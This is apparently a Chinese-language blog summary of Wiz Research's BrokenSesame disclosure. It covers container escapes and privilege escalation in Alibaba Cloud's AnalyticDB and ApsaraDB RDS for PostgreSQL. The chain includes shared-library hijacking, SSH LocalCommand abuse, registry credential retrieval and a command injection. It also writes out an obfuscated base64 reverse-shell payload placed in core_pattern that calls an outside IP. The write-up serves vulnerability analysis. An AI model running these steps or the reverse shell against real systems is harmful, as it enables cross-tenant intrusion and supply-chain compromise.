Wiz团队发表的漏洞分析文章 : https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r
有很多巧妙的利用思路可以学习

Wiz Research在文章中披露了被命名为BrokenSesame的一系列阿里云数据库服务漏洞,会导致未授权访问阿里云客户的PostgreSQL数据库,并且可以通过在阿里巴巴的数据库服务上执行供应链攻击,从而完成RCE。

AnalyticDB for PostgreSQL 容器逃逸漏洞

容器提权

攻击向量从一个Postgres的普通用户开始,第一步文章作者通过定时任务提权到数据库容器的root权限。

容器内有一个每分钟执行/usr/bin/tsar的定时任务

1
2
3
4
5
6
7
8
$: ls -lah /etc/cron.d/tsar 
-rw-r--r-- 1 root root 99 Apr 19  2021 /etc/cron.d/tsar

$: cat /etc/cron.d/tsar

# cron tsar collect once per minute
MAILTO=""
* * * * * root /usr/bin/tsar --cron > /dev/null 2>&1

通过对该二进制文件执行ldd命令,可以看到它会从自定义的位置/u01加载共享库。而当前用户adbpgadmin/u01目录具有写权限。

img

1
2
$: ls -alh /u01/adbpg/lib/libgcc_s.so.1 
-rwxr-xr-x 1 adbpgadmin adbpgadmin 102K Oct 27 12:22 /u01/adbpg/lib/libgcc_s.so.1

可以通过对此共享库文件的覆盖,来让下次定时任务执行时,以root身份执行这个二进制文件。

  1. 编译共享库,将/bin/bash复制到/bin/dash,并且将其设置为SUID,来让我们以root身份执行代码。
  2. 使用PatchELFlibgcc_s.so.1添加依赖,让加载libgcc_s.so.1时,能够加载我们自己编译的库。
  3. 覆盖libgcc_s.so.1
  4. 等待/usr/bin/tsar被执行

获取到root权限

容器逃逸

拿到数据库容器root权限后,文章作者通过阿里云站点的开启SSL加密功能,发现会创建SCPSSH等进程,并且利用进程完成了容器逃逸至宿主机(K8s node)。

开启SSL加密时,会产生进程的证明

1
2
3
4
5
6
# Command lines of the spawned processes
su - adbpgadmin -c scp /home/adbpgadmin/xxx_ssl_files/*
*REDACTED*:/home/adbpgadmin/data/master/seg-1/

/usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes
-- *REDACTED* scp -d -t /home/adbpgadmin/data/master/seg-1/

文章作者发现,这些进程在命令行中包含了容器不存在的路径,因此推断这些进程是在和数据库容器共享PID namespace的容器中生成的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# The Python script we used to access the second container filesystem
import psutil
import os
listed = set()
while True:
    for proc in psutil.process_iter():
        try:
            processName = proc.name()
            processID = proc.pid
            cmdLine = proc.cmdline()
            if processID not in listed and processName == 'scp':
                os.system('ls -alh /proc/{}/root/'.format(processID))

                listed.add(processID)
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
        pass

根据推测作者编写了这个Python脚本,先等待SCP进程生成,由于SCP进程会以当前数据库用户adbpgadminu运行,因此进程生成后,可以通过/proc/{pid}/root/访问其文件系统。通过访问文件系统,发现SCP进程确实在第二个容器中运行,并且发现,两个容器都挂载了相同的home目录/home/adbpgadmin

因为共享了/home/adbpgadmin,并且每次重新启用SSL都会执行SSH命令,可以通过修改本地SSH配置文件/home/adbpgadmin/.ssh/configLocalCommand字段,来在第二个容器中,执行任意命令。

img

接下来就可以通过将SUID复制到共享目录下,来让我们能够在第二个容器提权到root

img

在第二个容器中,发现此容器是特权容器,除此之外容器也可以访问Docker Unix Socket(/run/docker.sock)。由于第二个容器是临时创建,用于启动SSL加密的,存活时间较短,可以用 Docker Unix Socket来运行一个持久的特权容器。这个容器和宿主机(K8s node)具有相同的PIDIPCUSTNETUSERMOUNT命名空间,宿主机的根目录挂载在/mnt。这个容器会一直存在,并且通过/home/adbpgadmin的共享管道接收来自数据库容器的命令。

因为共享了网络命令空间,新生成的容器可以逃逸到宿主机(K8s node),并且能够访问K8s API。并且能够避免共享命名管道,在允许出网的情况下完成反弹Shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Code execution inside the new privileged container 
$: echo ‘id’ > /home/adbpgadmin/i_pipe; timeout 1 cat /home/adbpgadmin/o_pipe
uid=0(root) gid=0(root) groups=10(wheel)

# Accessing the host filesystem from the new privileged container
$: echo ‘ls -alh /mnt’ > /home/adbpgadmin/i_pipe; timeout 2 cat /home/adbpgadmin/o_pipe
total 88
dr-xr-xr-x   23 root     root        4.0K Nov  6 10:07 .
drwxr-xr-x    1 root     root        4.0K Nov  7 15:54 ..
drwxr-x---    4 root     root        4.0K Nov  6 10:07 .kube
lrwxrwxrwx    1 root     root           7 Aug 29  2019 bin -> usr/bin
dr-xr-xr-x    5 root     root        4.0K Nov  2 10:21 boot
drwxr-xr-x   17 root     root        3.1K Nov  6 10:08 dev
drwxr-xr-x   84 root     root        4.0K Nov  6 10:08 etc
drwxr-xr-x    3 root     root        4.0K Nov  2 10:24 flash
drwxr-xr-x    6 root     root        4.0K Nov  6 10:11 home
drwxr-xr-x    2 root     root        4.0K Nov  2 10:24 lafite
lrwxrwxrwx    1 root     root           7 Aug 29  2019 lib -> usr/lib
lrwxrwxrwx    1 root     root           9 Aug 29  2019 lib64 -> usr/lib64
drwx------    2 root     root       16.0K Aug 29  2019 lost+found
drwxr-xr-x    2 root     root        4.0K Dec  7  2018 media
drwxr-xr-x    3 root     root        4.0K Nov  6 10:07 mnt
drwxr-xr-x   11 root     root        4.0K Nov  6 10:07 opt
dr-xr-xr-x  184 root     root           0 Nov  6 10:06 proc
dr-xr-x---   10 root     root        4.0K Nov  6 10:07 root

供应链攻击

控制宿主机(K8s Node)后,存在权限配置问题,可以通过对注册表进行写,覆盖其他用户的容器/镜像,完成供应链攻击。

首先可以利用kubelet来检查各种集群资源,包括secretspods以及账户。在Pod列表中发现了同一集群下,属于其他用户的Pod列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Listing the pods inside the K8s cluster
$: /tmp/kubectl get pods
NAME                                                                       READY   STATUS      RESTARTS   AGE
gp-4xo3*REDACTED*-master-100333536                                      1/1     Running     0          5d1h
gp-4xo3*REDACTED*-master-100333537                                      1/1     Running     0          5d1h
gp-4xo3*REDACTED*-segment-100333538                                     1/1     Running     0          5d1h
gp-4xo3*REDACTED*-segment-100333539                                     1/1     Running     0          5d1h
gp-4xo3*REDACTED*-segment-100333540                                     1/1     Running     0          5d1h
gp-4xo3*REDACTED*-segment-100333541                                     1/1     Running     0          5d1h
gp-gw87*REDACTED*-master-100292154                                      1/1     Running     0          175d
gp-gw87*REDACTED*-master-100292155                                      1/1     Running     0          175d
gp-gw87*REDACTED*-segment-100292156                                     1/1     Running     0          175d
gp-gw87*REDACTED*-segment-100292157                                     1/1     Running     0          175d
gp-gw87*REDACTED*-segment-100292158                                     1/1     Running     0          175d
gp-gw87*REDACTED*-segment-100292159                                     1/1     Running     0          175d
...

并且因为阿里云使用私有仓库管理K8s容器镜像,而私有容器仓库的凭证在配置文件的imagePullSecrets

1
2
3
4
5
6
7
8
9
10
11
12
13
# A snippet of the pods configuration, illustrating the use of a private container registry 

"spec": {
    "containers": [
        {
            "image": "*REDACTED*.eu-central-1.aliyuncs.com/apsaradb_*REDACTED*/*REDACTED*",
            "imagePullPolicy": "IfNotPresent",
...          
    "imagePullSecrets": [
        {
            "name": "docker-image-secret"
        }
    ],
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Retrieving the container registry secret
$: /tmp/kubectl get secret -o json docker-image-secret
{
    "apiVersion": "v1",
    "data": {
        ".dockerconfigjson": "eyJhdXRoc*REDACTED*"
    },
    "kind": "Secret",
    "metadata": {
        "creationTimestamp": "2020-11-12T14:57:36Z",
        "name": "docker-image-secret",
        "namespace": "default",
        "resourceVersion": "2705",
        "selfLink": "/api/v1/namespaces/default/secrets/docker-image-secret",
        "uid": "6cb90d8b-1557-467a-b398-ab988db27908"
    },
    "type": "kubernetes.io/dockerconfigjson"
}

# Redacted decoded credentials
{
    "auths": {
        "registry-vpc.eu-central-1.aliyuncs.com": {
            "auth": "*REDACTED*",
            "password": "*REDACTED*",
            "username": "apsaradb*REDACTED*"
        }
    }
}

使用拿到的imagePullSecret对容器镜像仓库进行测试,发现不仅具有拉取权限,还具有写权限,可以覆盖容器镜像,那么就有了对其他K8s Node的镜像进行供应链攻击的能力。

环境风险

在具备一定的权限后,节点的环境例如.bash_history等文件中都存在access keysprivate keys泄漏的可能,作者在对节点的扫描中发现了多个密钥。

ApsaraDB RDS for PostgreSQL

文件泄漏

ApsaraDB RDS容器的环境和AnalyticDB的容器不一样,没有定时任务来提权,因此作者找到了另一个提权方法。

/tmp/tools_log目录下发现了docker_tools.log文件

1
2
3
4
5
$: ls -alh /tmp/tools_log 
total 2.4M
drwxrwxrwx 2 root root 4.0K Nov 10 08:55 .
drwxrwxrwx 5 root root 4.0K Nov 16 23:07 ..
-rwxrwxrwx 1 root root 2.4M Nov 16 23:07 docker_tools.log

这个文件是另一个容器的操作日志,这个容器是负责在用户使用的数据库容器上执行某些操作的。并且发现,可以在阿里云服务的站点,使用撤销文件配置,会触发日志。

img

红色部分的sed命令是在另一个容器中执行的,会对两个容器共享的目录/data/pg_hba.conf进行修改。sed -i会先将目标文件复制到临时位置,用正则进行修改后,移回原来的位置。利用这个特性,可以通过符号链接来从第二个容器中复制文件。

通过此命令创建一个指向k8x_ctx.py的符号链接

1
$: unlink pg_hba.conf; ln -s *REDACTED*/operator/k8s_ctx.py pg_hba.conf 

接着在阿里云的站带你点击撤销列表,pg_hba.conf就会发生变化,并且看到在第二个容器中文件的内容。

1
2
3
4
5
6
7
8
# Reading a file from the second container
$: cat pg_hba.conf
import os
import pwd
from *REDACTED*/operator.utils.envs import ToolImageEnv
from *REDACTED*/operator.k8s_ctx import db_ctx_pgsql_config, db_ctx_pgsql_database, db_ctx_pgsql_replica, \
    db_ctx_pgsql_system, db_ctx_pgsql_switch

重复操作可以获得在第二个容器中运行的完整Python代码。

从代码中可以发现,几乎任何针对用户数据库的管理操作,都会创建一个具有相同代码的新容器,并且根据传递的环境变量,执行对应的的具体操作。

容器逃逸

阿里云提供了一个验证PostgreSQL是否可以正常升级的功能,来帮助用户避免数据库损坏。对这个功能,文章作者发现了存在命令注入漏洞,可以在负责此操作的容器中执行任意代码。

img

img

在代码中,install_user参数被格式化为一个命令行并且没有做过滤就使用root权限执行命令,而install_user恰好是可以控制的,通过以下查询从数据库中获取。

1
select rolname from pg_authid where oid=10; 

这个查询返回的是PostgreSql的超级用户的用户名。

阿里云使用alicloud_rds_admin作为该服务的超级用户,因此就能利用如下的操作,在新生成而用于版本升级检测的容器中完成RCE。

  1. 通过阿里云的站点,启动数据库升级检测
  2. 使用ALTER ROLE “alicloud_rds_admin” RENAME TO “`id`“;将alicloud_rds_admin用户名改为命令行注入。
  3. 等待5秒让进程节航速
  4. 恢复用户名

至此就能拿到一个特权容器的root权限

接下来使用core_pattern来进行容器逃逸

  1. 需要/proc/sys以可写模式挂载,用于可以覆盖proc/sys/kernel/core_pattern
  2. /porc/sys/kernel/core_pattern的语法允许通过|将内容传输到程序。由于core_pattern和主机共享,在发生crash时会在主机上执行,最终完成容器逃逸。

恰好条件符合,这里用base64编码了一个反弹shell命令,覆盖了proc/sys/kernel/core_pattern文件

1
2
3
echo '|/bin/bash -c 
echo${IFS%%??}L2Jpbi9iYXNoIC1pPiYvZGV2L3RjcC8yMC4xMjQuMTk0LjIxMi82MDAwMSAwPiYxCg==|base64${
IFS%%??}-d|/bin/bash' > /proc/sys/kernel/core_pattern

回到PostgreSql容器,终止进程。

1
$: sh -c 'kill -11 "$$"' 

成功拿到宿主机(K8s Node)的Shell

1
2
3
4
[root@i-gw80v6j*REDACTED* /] 

$: id
uid=0(root) gid=0(root) groups=0(root)

横向移动

AnalyticDB一样,可以利用kubelet来查看集群信息。

可以查看pod列表,并且能够查看在一个节点上其他用户的数据库信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Other customers’ data mounted on our node
$: mount | grep -i /mount | grep -ioE 'pgm-(.*?)/' | sort | uniq
pgm-*REDACTED*-data-19d1322c/
pgm-*REDACTED*-data-15c361da/
pgm-*REDACTED*-data-38f60684/
pgm-*REDACTED*-data-61b4d30a/
pgm-*REDACTED*-data-0197fb99/
pgm-*REDACTED*-data-0fa7676b/
pgm-*REDACTED*-data-52250988/
pgm-*REDACTED*-data-8d044ffb/
pgm-*REDACTED*-data-09290508/
pgm-*REDACTED*-data-bc610a92/
pgm-*REDACTED*-data-d386ec2d/
pgm-*REDACTED*-data-ed5993d7/
pgm-*REDACTED*-data-a554506c/
pgm-*REDACTED*-data-d99da2be/